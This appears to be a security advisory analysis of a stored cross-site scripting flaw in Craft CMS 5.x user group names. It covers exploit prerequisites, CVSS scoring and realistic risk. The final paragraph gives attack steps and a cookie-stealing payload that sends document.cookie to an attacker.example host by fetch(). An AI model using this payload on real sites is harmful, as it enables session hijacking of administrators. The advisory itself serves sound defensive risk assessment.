Craft CMS EUVD-2026-38175

Exploitation requires: (1) the attacker holds admin-level access to the Craft CMS control panel - PR:H per CVSS; (2) the Craft CMS instance has allowAdminChanges enabled in its production configuration - this is a non-default posture explicitly warned against in Craft's security documentation; (3) a second user must actively navigate to the Permissions tab of a user edit page (/admin/users/{id}) after the malicious group name is saved - UI:A per CVSS 4.0. Exploitation is limited to Craft CMS versions 5.0.0-RC1 through 5.8.21; version 5.8.22 is patched. Deployments that disable allowAdminChanges in production (the vendor-recommended configuration) are not exploitable because admin-level configuration changes, including user group name edits, are blocked at the application level. There is no path to unauthenticated or network-only exploitation.

The CVSS 4.0 score of 4.6 (Medium) reflects the high privilege requirement (PR:H - admin access) and required user interaction (UI:A), which significantly limit the realistic attack surface compared to a typical stored XSS. The CVSS vector (AV:N/AC:L/AT:N/PR:H/UI:A) indicates no network complexity or special attack requirements beyond having admin credentials and the non-default allowAdminChanges setting enabled in production. The EUVD and GHSA advisory confirm a public proof-of-concept payload is available, elevating risk above a purely theoretical finding. However, no EPSS data was provided and the vulnerability is absent from CISA KEV, suggesting no observed widespread exploitation. Real-world risk is further constrained by the fact that Craft CMS's own security documentation explicitly recommends disabling allowAdminChanges in production environments - systems following this guidance are not exploitable. The primary realistic threat model is admin-to-admin or admin-to-lower-privileged-user lateral escalation within a shared Craft CMS installation, not external attacker compromise. This is a meaningful but contextually limited risk, best prioritized by multi-admin or agency deployments where admin trust boundaries matter.

An attacker with admin credentials on a Craft CMS 5.x installation that has allowAdminChanges enabled navigates to Settings → Users → User Groups, creates or renames a group with the payload '<img src=x onerror="fetch('https://attacker.example/steal?c='+document.cookie)" hidden>', and saves it. When a second admin or privileged user later opens any user's edit page and clicks the Permissions tab, the injected script silently exfiltrates the victim's session cookie to the attacker's server. A working proof-of-concept reproducing this with an alert() payload is publicly documented in the vendor's GHSA advisory.